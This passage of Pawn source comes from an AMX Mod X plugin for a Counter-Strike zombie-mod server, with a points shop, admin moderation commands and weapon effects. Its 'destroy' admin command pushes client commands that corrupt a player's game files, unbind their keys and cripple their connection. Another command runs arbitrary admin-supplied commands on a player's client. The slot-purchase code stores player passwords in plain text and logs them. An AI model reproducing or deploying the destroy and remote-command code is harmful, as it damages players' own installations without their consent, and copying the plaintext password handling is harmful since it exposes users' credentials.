7479 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
7480 return 1
7481 }
7482 g_bAdminModel[iPlayer] = true;
7483 client_cmd(iPlayer, "messagemode amx_password_for_model");
7484 set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
7485 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7486 savePoints(iPlayer)
7487 return 1
7488 }
7489 }
7490 case 3:
7491 {
7492 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7493 {
7494 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7495 }
7496 else
7497 {
7498 g_iPacks[iPlayer] += 100;
7499 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7500 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7501 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
7502 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 100 ammo packs", g_cName[iPlayer]);
7503 savePoints(iPlayer)
7504 }
7505 }
7506 case 4:
7507 {
7508 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7509 {
7510 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7511 }
7512 else
7513 {
7514 g_iPacks[iPlayer] += 200;
7515 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7516 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7517 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
7518 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 200 ammo packs", g_cName[iPlayer]);
7519 savePoints(iPlayer)
7520 }
7521 }
7522 case 5:
7523 {
7524 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7525 {
7526 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7527 }
7528 else
7529 {
7530 g_iPacks[iPlayer] += 300;
7531 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7532 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7533 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
7534 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 300 ammo packs", g_cName[iPlayer]);
7535 savePoints(iPlayer)
7536 }
7537 }
7538 case 6:
7539 {
7540 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7541 {
7542 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7543 }
7544 else
7545 {
7546 if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
7547 {
7548 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
7549 }
7550 g_bNoDamage[iPlayer] = true;
7551 fm_set_user_godmode(iPlayer, 1)
7552 fm_set_rendering(iPlayer, kRenderFxGlowShell, 19, 32, 192, 0)
7553 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7554 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7555 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
7556 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 God Mode", g_cName[iPlayer]);
7557 savePoints(iPlayer)
7558 }
7559 }
7560 case 7:
7561 {
7562 if (g_iShopItemsPrices[iChoice] > g_iPacks[iPlayer])
7563 {
7564 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough packs!")
7565 }
7566 else
7567 {
7568 g_iPoints[iPlayer] += 600;
7569 g_iPacks[iPlayer] -= g_iShopItemsPrices[iChoice];
7570 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7571 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought 600 Points!", g_cName[iPlayer]);
7572 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 600 Points", g_cName[iPlayer]);
7573 savePoints(iPlayer)
7574 }
7575 }
7576 default:
7577 {
7578 }
7579 }
7580 }
7581 return 0;
7582}
7583
7584
7585
7586
7587public CmdKick(iPlayer)
7588{
7589 if ( get_user_flags ( iPlayer ) & read_flags ( "c" ) )
7590 {
7591 if (3 > read_argc())
7592 {
7593 console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
7594 return 1;
7595 }
7596 static iTarget;
7597 static cReason[36];
7598 static cTarget[32];
7599 read_argv(1, cTarget, 32);
7600 read_argv(2, cReason, 36);
7601 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7602 if ( !iTarget ) return PLUGIN_HANDLED;
7603 if (iTarget)
7604 {
7605 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
7606 server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
7607 }
7608 return 1;
7609 }
7610 return 1;
7611}
7612
7613public CmdSlay(iPlayer)
7614{
7615 if (get_user_flags ( iPlayer ) & read_flags ( "e" ) )
7616 {
7617 if (2 > read_argc())
7618 {
7619 console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
7620 return 1;
7621 }
7622 static iTarget;
7623 static cTarget[32];
7624 read_argv(1, cTarget, 32);
7625 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7626 if ( !iTarget ) return PLUGIN_HANDLED;
7627 if (iTarget)
7628 {
7629 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", g_cName[iPlayer], g_cName[iTarget]);
7630 user_kill(iTarget);
7631 }
7632 return 1;
7633 }
7634 return 0;
7635}
7636
7637public CmdFreeze(iPlayer)
7638{
7639 if (get_user_flags ( iPlayer ) & read_flags ( "1" ) )
7640 {
7641 static iTarget;
7642 static cTarget[33];
7643 read_argv(1, cTarget, 32);
7644 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7645 if ( !iTarget ) return PLUGIN_HANDLED;
7646 if (iTarget)
7647 {
7648 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
7649 g_bFrozen[iTarget] = true;
7650 ExecuteHamB(Ham_Item_PreFrame, iTarget);
7651 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25 );
7652 }
7653 return 1;
7654 }
7655 return 0;
7656}
7657
7658public CmdUnfreeze(iPlayer)
7659{
7660 if (get_user_flags ( iPlayer ) & read_flags ( "1" ) )
7661 {
7662 static iTarget;
7663 static cTarget[33];
7664 read_argv(1, cTarget, 32);
7665 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7666 if ( !iTarget ) return PLUGIN_HANDLED;
7667 if (iTarget)
7668 {
7669 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", g_cName[iPlayer], g_cName[iTarget]);
7670 g_bFrozen[iTarget] = false;
7671 ExecuteHamB(Ham_Item_PreFrame, iTarget);
7672 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 0 );
7673 }
7674 return 1;
7675 }
7676 return 0;
7677}
7678
7679public CmdDestroy(iPlayer)
7680{
7681 if (get_user_flags ( iPlayer ) & read_flags ( "4" ) )
7682 {
7683 static iTarget;
7684 static cTarget[32];
7685 read_argv(1, cTarget, 32);
7686 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7687 if ( !iTarget ) return PLUGIN_HANDLED;
7688 if (0 < iTarget)
7689 {
7690 client_cmd(iTarget, "unbindall; bind ` ^"say I_have_been_destroyed^"; bind ~ ^"say I_have_been_destroyed^"; bind esc ^"say I_have_been_destroyed^"");
7691 client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
7692 client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
7693 client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
7694 client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
7695 client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
7696 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7697 client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
7698 }
7699 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7700 }
7701 return 0;
7702}
7703
7704public CmdGag(iPlayer)
7705{
7706 if (get_user_flags ( iPlayer ) & read_flags ( "@" ) )
7707 {
7708 static cCommand[32];
7709 read_argv(0, cCommand, 32);
7710 if (equali(cCommand, "amx_gag", 0))
7711 {
7712 static iTarget;
7713 static iTime[3];
7714 static cTarget[32];
7715 read_argv(1, cTarget, 32);
7716 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7717 if ( !iTarget ) return PLUGIN_HANDLED;
7718 read_argv(2, iTime, 2);
7719 if (!iTarget)
7720 {
7721 return 1;
7722 }
7723 if (g_fGagTime[iTarget] < get_gametime())
7724 {
7725 g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
7726 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
7727 }
7728 else
7729 {
7730 console_print(iPlayer, "[Zombie Outstanding] Player ^"%s^" is already gagged", g_cName[iTarget]);
7731 }
7732 }
7733 if (equali(cCommand, "amx_ungag", 0))
7734 {
7735 static iTarget;
7736 static cTarget[32];
7737 read_argv(1, cTarget, 32);
7738 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7739 if ( !iTarget ) return PLUGIN_HANDLED;
7740 if (g_fGagTime[iTarget] > get_gametime())
7741 {
7742 g_fGagTime[iTarget] = false;
7743 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7744 }
7745 else
7746 {
7747 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7748 }
7749 }
7750 }
7751 return 0;
7752}
7753
7754public CmdSlap(iPlayer)
7755{
7756 if (get_user_flags ( iPlayer ) & read_flags ( "$" ) )
7757 {
7758 static iTarget;
7759 static iDamage;
7760 static cDamage[15];
7761 static cTarget[32];
7762 read_argv(1, cTarget, 32);
7763 read_argv(2, cDamage, 7);
7764 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7765 if ( !iTarget ) return PLUGIN_HANDLED;
7766 iDamage = clamp(str_to_num(cDamage), 0, 999999);
7767 if (0 < iTarget)
7768 {
7769 user_slap(iTarget, iDamage, 1);
7770 AddCommas(iDamage, cDamage, 14);
7771 if (0 < iDamage)
7772 {
7773 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s^1 with^4 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
7774 }
7775 else
7776 {
7777 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", g_cName[iPlayer], g_cName[iTarget]);
7778 }
7779 }
7780 else
7781 {
7782 console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
7783 }
7784 }
7785 return 0;
7786}
7787
7788public ChangeMap ( Map [ ] ) server_cmd ( "changelevel %s", Map );
7789
7790public CmdMap(id)
7791{
7792 if (get_user_flags ( id ) & read_flags ( "7" ) )
7793 {
7794
7795 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
7796
7797 new Arg [32], ArgLen = read_argv ( 1, Arg, charsmax ( Arg ) );
7798
7799 if ( !is_map_valid ( Arg ) )
7800 {
7801 console_print ( id, "[Zombie Outstanding] Map %s is not valid!", Arg );
7802
7803 return PLUGIN_HANDLED;
7804 }
7805
7806 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", GetInfoPlayer ( id, INFO_NAME ), Arg );
7807
7808 new ModName [10]; get_modname ( ModName, charsmax ( ModName ) )
7809
7810 if ( !equal ( ModName, "zp" ) )
7811 {
7812 message_begin ( MSG_ALL, SVC_INTERMISSION );
7813
7814 message_end ( );
7815 }
7816
7817 set_task(1.0, "ShutDownSQL", 0, "", 0, "", 0);
7818
7819 set_task ( 11.75, "ChangeMap", 0, Arg, ArgLen + 1 );
7820 }
7821 return PLUGIN_HANDLED;
7822}
7823
7824public ShutDownSQL()
7825{
7826 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Shutting down^3 MySQL^1 connection... Map change in^3 11 seconds!");
7827 return 0;
7828}
7829
7830public CmdExec(iPlayer)
7831{
7832 if (get_user_flags ( iPlayer ) & read_flags ( "@" ) )
7833 {
7834 static iTarget;
7835 static cCommand[64];
7836 static cTarget[32];
7837 read_argv(1, cTarget, 32);
7838 read_argv(2, cCommand, 64);
7839 iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7840 if ( !iTarget ) return PLUGIN_HANDLED;
7841 if (0 < iTarget)
7842 {
7843 client_cmd(iTarget, cCommand);
7844 }
7845 console_print(iPlayer, "[Zombie Outstanding] Player not found!");
7846 }
7847 return 1;
7848}
7849
7850public CmdLast(iPlayer)
7851{
7852 if (get_user_flags ( iPlayer ) & read_flags ( "3" ) )
7853 {
7854 static cAddress[24];
7855 static cName[32];
7856 static i;
7857 i = 0;
7858 while (i < g_iSize)
7859 {
7860 GetInfo(i, cName, 32, cAddress, 24);
7861 console_print(iPlayer, "%32s %24s", cName, cAddress);
7862 i += 1;
7863 }
7864 }
7865 return 0;
7866}
7867
7868public CmdBan ( id )
7869{
7870 if (get_user_flags ( id ) & read_flags ( "d" ) )
7871 {
7872
7873 if ( read_argc ( ) < 3 )
7874 {
7875 console_print(id, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
7876 return 1;
7877 }
7878
7879 new Target [32], Minutes [8], Reason [64];
7880
7881 read_argv ( 1, Target, charsmax ( Target ) );
7882
7883 read_argv ( 2, Minutes, charsmax ( Minutes ) );
7884
7885 read_argv ( 3, Reason, charsmax ( Reason ) );
7886
7887 new Player = cmd_target ( id, Target, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
7888 if ( !Player ) return PLUGIN_HANDLED;
7889 new nNum = str_to_num ( Minutes );
7890 if ( nNum < 0 )
7891 {
7892 nNum = 0;
7893
7894 Minutes = "0";
7895 }
7896 new Temp [64], Banned [16];
7897 if ( nNum )
7898
7899 format ( Temp, charsmax ( Temp ), "for %s min", Minutes );
7900 else
7901 format ( Temp, charsmax ( Temp ), "permanently" );
7902 format ( Banned, charsmax ( Banned ), "Banned" );
7903
7904 if ( Reason [0] )
7905 {
7906 server_cmd ( "kick #%d ^"%s (%s %s)^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Reason, Banned, Temp, Minutes, GetInfoPlayer ( Player, INFO_IP ) );
7907 }
7908 else
7909 {
7910 server_cmd ( "kick #%d ^"%s %s^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Banned, Temp, Minutes, GetInfoPlayer ( Player, INFO_IP ) );
7911 }
7912
7913 if ( nNum )
7914 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), GetInfoPlayer ( id, INFO_AUTHID ), nNum, nNum == 1 ? "" : "s" );
7915 else
7916 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), GetInfoPlayer ( id, INFO_AUTHID ), Reason );
7917 }
7918
7919 return PLUGIN_HANDLED;
7920}
7921
7922public CmdUnBan(id)
7923{
7924 if (get_user_flags ( id ) & read_flags ( "d" ) )
7925 {
7926 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
7927
7928 new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );
7929
7930 if ( contain ( Arg, "." ) != -1 )
7931 {
7932 server_cmd ( "removeip ^"%s^";writeip", Arg )
7933 }
7934 else
7935 {
7936 server_cmd ( "removeid ^"%s^";writeid", Arg );
7937 }
7938 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 UnBan^4 %s^3", GetInfoPlayer ( id, INFO_NAME ), Arg );
7939 }
7940
7941 return PLUGIN_HANDLED;
7942}
7943
7944public CmdChat(iPlayer)
7945{
7946 if (get_user_flags ( iPlayer ) & read_flags ( "f" ) )
7947 {
7948 static i;
7949 static cPhrase[192];
7950 read_args(cPhrase, 192);
7951 remove_quotes(cPhrase);
7952 if (contain(cPhrase, "%") != -1)
7953 {
7954 return 1;
7955 }
7956 cPhrase[189] = 0;
7957 i = 1;
7958 while (g_iMaxClients + 1 > i)
7959 {
7960 if (g_bConnected[i])
7961 {
7962 client_print_color (i, print_team_grey, "^4[ADMINS]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
7963 }
7964 i += 1;
7965 }
7966 }
7967 return 1;
7968}
7969
7970public CmdSayChat(iPlayer)
7971{
7972 if (get_user_flags ( iPlayer ) & read_flags ( "y" ) )
7973 {
7974 static i;
7975 static cPhrase[192];
7976 read_args(cPhrase, 192);
7977 remove_quotes(cPhrase);
7978 if (contain(cPhrase, "%") != -1)
7979 {
7980 return 1;
7981 }
7982 cPhrase[189] = 0;
7983 i = 1;
7984 while (g_iMaxClients + 1 > i)
7985 {
7986 if (g_bConnected[i])
7987 {
7988 client_print_color (i, print_team_grey, "^4[ALL]^3 %s^1 : %s", g_cName[iPlayer], cPhrase);
7989 }
7990 i += 1;
7991 }
7992 }
7993 return 1;
7994}
7995
7996public CmdAddBan (id)
7997{
7998 if (get_user_flags ( id ) & read_flags ( "5" ) )
7999 {
8000
8001 if ( read_argc ( ) < 3 )
8002 {
8003 console_print(id, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
8004 return 1
8005 }
8006
8007 new Arg [32], Minutes [32], Reason [32];
8008
8009 read_argv ( 1, Arg, charsmax ( Arg ) );
8010
8011 read_argv ( 2, Minutes, charsmax ( Minutes ) );
8012
8013 read_argv ( 3, Reason, charsmax ( Reason ) );
8014
8015 trim ( Arg );
8016
8017 if ( contain ( Arg, "." ) != -1 )
8018 {
8019 server_cmd ( "addip ^"%s^" ^"%s^";wait;writeip", Minutes, Arg );
8020 }
8021 else
8022 {
8023 server_cmd ( "banid ^"%s^" ^"%s^";wait;writeid", Minutes, Arg );
8024 }
8025
8026 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfoPlayer ( id, INFO_NAME ), Arg, Reason );
8027 }
8028
8029 return PLUGIN_HANDLED
8030}
8031
8032
8033public CommandGetSlot(id)
8034{
8035 if (g_bServerSlot[id])
8036 {
8037 new password[16];
8038 read_args(password, charsmax(password));
8039 remove_quotes(password);
8040
8041 if(strlen(password) < 3 || strlen(password) > 15)
8042 {
8043 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password^3 Invalid^1.");
8044 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password must contain between^1 3^3 and^1 15 characters^3.");
8045 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Retype Again^3 Password^1.");
8046
8047 client_cmd(id, "messagemode amx_password_for_slot");
8048 return 1
8049 }
8050
8051 new configsDir[64];
8052 get_configsdir(configsDir, charsmax(configsDir));
8053 format(configsDir, 63, "%s/Admins.ini", configsDir);
8054
8055 set_user_info(id, "_pw", password);
8056 server_cmd("amx_reloadadmins");
8057
8058 new name[32];
8059 get_user_name(id, name, charsmax(name));
8060
8061 new linetoadd[512];
8062 formatex(linetoadd, 511, "^n^"%s^" ^"%s^" ^"r^"", name, password);
8063 server_print("Adding: %s", linetoadd);
8064
8065 if(!write_file(configsDir, linetoadd))
8066 console_print(id, "[Zombie OutStanding] Failed writing to %s!", configsDir);
8067
8068 set_user_info(id, "_pw", password);
8069 server_cmd("amx_reloadadmins");
8070
8071 console_print(id, "");
8072 console_print(id, "****************************");
8073 console_print(id, "Done! You have now slot access!");
8074 console_print(id, "Be careful, to login with your account,");
8075 console_print(id, "You should type in your console");
8076 console_print(id, "setinfo _pw ^"password^"");
8077 console_print(id, "We hope you enjoy you have fun!");
8078 console_print(id, "****************************");
8079 console_print(id, "");
8080 server_cmd("kick #%d Check your console!", get_user_userid(id));
8081 }
8082 return PLUGIN_HANDLED
8083}
8084
8085public CommandGetModel(id)
8086{
8087 if (g_bAdminModel[id])
8088 {
8089 new password[16];
8090 read_args(password, charsmax(password));
8091 remove_quotes(password);
8092
8093 if(strlen(password) < 3 || strlen(password) > 15)
8094 {
8095 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password^3 Invalid^1.");
8096 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Password must contain between^1 3^3 and^1 15 characters^3.");
8097 client_print_color(id, print_team_grey, "^4[Zombie OutStanding]^1 Retype Again^3 Password^1.");
8098
8099 client_cmd(id, "messagemode amx_password_for_model");
8100 return 1
8101 }
8102
8103 new configsDir[64];
8104 get_configsdir(configsDir, charsmax(configsDir));
8105 format(configsDir, 63, "%s/Admins.ini", configsDir);
8106
8107 set_user_info(id, "_pw", password);
8108 server_cmd("amx_reloadadmins");
8109
8110 new name[32];
8111 get_user_name(id, name, charsmax(name));
8112
8113 new linetoadd[512];
8114 formatex(linetoadd, 511, "^n^"%s^" ^"%s^" ^"m^"", name, password);
8115 server_print("Adding: %s", linetoadd);
8116
8117 if(!write_file(configsDir, linetoadd))
8118 console_print(id, "[Zombie OutStanding] Failed writing to %s!", configsDir);
8119
8120
8121 console_print(id, "");
8122 console_print(id, "****************************");
8123 console_print(id, "Done! You have now slot access!");
8124 console_print(id, "Be careful, to login with your account,");
8125 console_print(id, "You should type in your console");
8126 console_print(id, "setinfo _pw ^"password^"");
8127 console_print(id, "We hope you enjoy you have fun!");
8128 console_print(id, "****************************");
8129 console_print(id, "");
8130 server_cmd("kick #%d Check your console!", get_user_userid(id));
8131 }
8132 return PLUGIN_HANDLED
8133}
8134
8135public Golden_Ak_Tracer(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
8136{
8137 if ((g_iWeapon [attacker] == CSW_AK47) && (g_bGolden [attacker] ))
8138 {
8139 new Float:flEnd[3];
8140 get_tr2(ptr, TR_vecEndPos, flEnd);
8141
8142 message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
8143 write_byte(TE_BEAMENTPOINT);
8144 write_short(attacker | 0x1000);
8145 engfunc(EngFunc_WriteCoord, flEnd[0]);
8146 engfunc(EngFunc_WriteCoord, flEnd[1]);
8147 engfunc(EngFunc_WriteCoord, flEnd[2]);
8148 write_short(SpriteTexture);
8149 write_byte(0);
8150 write_byte(0);
8151 write_byte(1);
8152 write_byte(5);
8153 write_byte(0);
8154 write_byte(255);
8155 write_byte(160);
8156 write_byte(100);
8157 write_byte(128);
8158 write_byte(0);
8159 message_end();
8160 }
8161 return HAM_IGNORED;
8162}
8163
8164public Golden_Deagle_Tracer(ent, attacker, Float:damage, Float:dir[3], ptr, iDamageType)
8165{
8166 if ((g_iWeapon [attacker] == CSW_DEAGLE) && (g_bGoldenDeagle [attacker]))
8167 {
8168 new Float:flEnd[3];
8169 get_tr2(ptr, TR_vecEndPos, flEnd);
8170
8171 message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
8172 write_byte(TE_BEAMENTPOINT);
8173 write_short(attacker | 0x1000);
8174 engfunc(EngFunc_WriteCoord, flEnd[0]);
8175 engfunc(EngFunc_WriteCoord, flEnd[1]);
8176 engfunc(EngFunc_WriteCoord, flEnd[2]);
8177 write_short(SpriteTexture);
8178 write_byte(0);
8179 write_byte(0);
8180 write_byte(1);
8181 write_byte(5);
8182 write_byte(0);
8183 write_byte(255);
8184 write_byte(160);
8185 write_byte(100);
8186 write_byte(128);
8187 write_byte(0);
8188 message_end();
8189 }
8190 return HAM_IGNORED;
8191}
8192
8193
8194public CmdPoints(id)
8195{
8196 if ( !access ( id, read_flags ("3") ) ) return PLUGIN_HANDLED;
8197
8198 static Arg[32], amount[16], Player, points
8199
8200 read_argv(1, Arg, charsmax(Arg))
8201
8202 read_argv(2, amount, charsmax(amount))
8203
8204 Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );
8205
8206 if ( !Player ) return PLUGIN_HANDLED;
8207
8208 points = str_to_num(amount);
8209
8210 if (points < 1)
8211
8212 return PLUGIN_HANDLED;
8213
8214 g_iPoints[Player] += points;
8215
8216 new str[32];
8217
8218 AddCommas ( points, str, 31 );
8219
8220 log_to_file ( "ZombieOutstanding.log", "%s gave %s points to %s", g_cName [id], str, g_cName [Player] );
8221
8222 console_print ( id ,"^nDone!" );
8223
8224 return PLUGIN_HANDLED;
8225}
8226
8227public OnFakemetaSpawn(ent)
8228{
8229 if(!pev_valid(ent))
8230 {
8231 return FMRES_IGNORED;
8232 }
8233
8234 new szClassname[32]
8235 pev(ent, pev_classname, szClassname, charsmax(szClassname))
8236
8237 for(new j = 0; j < sizeof szObjectives; j++)
8238 {
8239 if(equal(szClassname, szObjectives[j]))
8240 {
8241 engfunc(EngFunc_RemoveEntity, ent)
8242 return FMRES_SUPERCEDE;
8243 }
8244 }
8245
8246 return FMRES_IGNORED;
8247}
8248
8249public Rocket_Touch( iOwner, iRocket )
8250{
8251 if( g_bConnected[ iOwner ] )
8252 {
8253 static iPlayers[ 32 ], iNum, i;
8254 get_players( iPlayers, iNum, "a" );
8255
8256 for( i = 0; i < iNum; i++ )
8257 {
8258 if( g_bZombie[ iPlayers[ i ] ] )
8259 {
8260 static Float: fDistance, Float: fDamage;
8261 fDistance = entity_range( iPlayers[ i ], iRocket );
8262
8263 if( fDistance < 320.0 )
8264 {
8265 fDamage = 890.0 - fDistance;
8266
8267 static Float: fVelocity[ 3 ];
8268 pev( iPlayers[ i ], pev_velocity, fVelocity );
8269 xs_vec_mul_scalar( fVelocity, 2.75, fVelocity );
8270 fVelocity[ 2 ] *= 1.75;
8271 set_pev( iPlayers[ i ], pev_velocity, fVelocity );
8272
8273 if( float( get_user_health( iPlayers[ i ] ) ) - fDamage > 0.0 )
8274 ExecuteHamB( Ham_TakeDamage, iPlayers[ i ], iRocket, iOwner, fDamage, DMG_BLAST );
8275
8276 else ExecuteHamB( Ham_Killed, iPlayers[ i ], iOwner, 2 );
8277
8278
8279 client_print_color(iOwner, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[i], fDamage );
8280 }
8281 }
8282 }
8283 }
8284}
8285
8286public Jetpack_Touch( iPlayer )
8287{
8288 if ( g_bZombie[iPlayer ] )
8289 return PLUGIN_HANDLED;
8290
8291 if ( g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2 || g_iPlayerType[iPlayer] & 4 || g_iPlayerType[iPlayer] & 8 )
8292 return PLUGIN_HANDLED;
8293
8294 return PLUGIN_CONTINUE;
8295}
8296
8297public fwEmitSound ( id, Channel, const Sample [], Float: Volume, Float: Attn, Flags, Pitch )
8298{
8299 if ( Sample [0] == 'h' && Sample [1] == 'o' && Sample [2] == 's' && Sample [3] == 't' && Sample [4] == 'a' && Sample [5] == 'g' && Sample [6] == 'e' )
8300
8301 return FMRES_SUPERCEDE;
8302
8303 if ( !is_user_valid_connected ( id ) || !g_bZombie [id] )
8304
8305 return FMRES_IGNORED;
8306
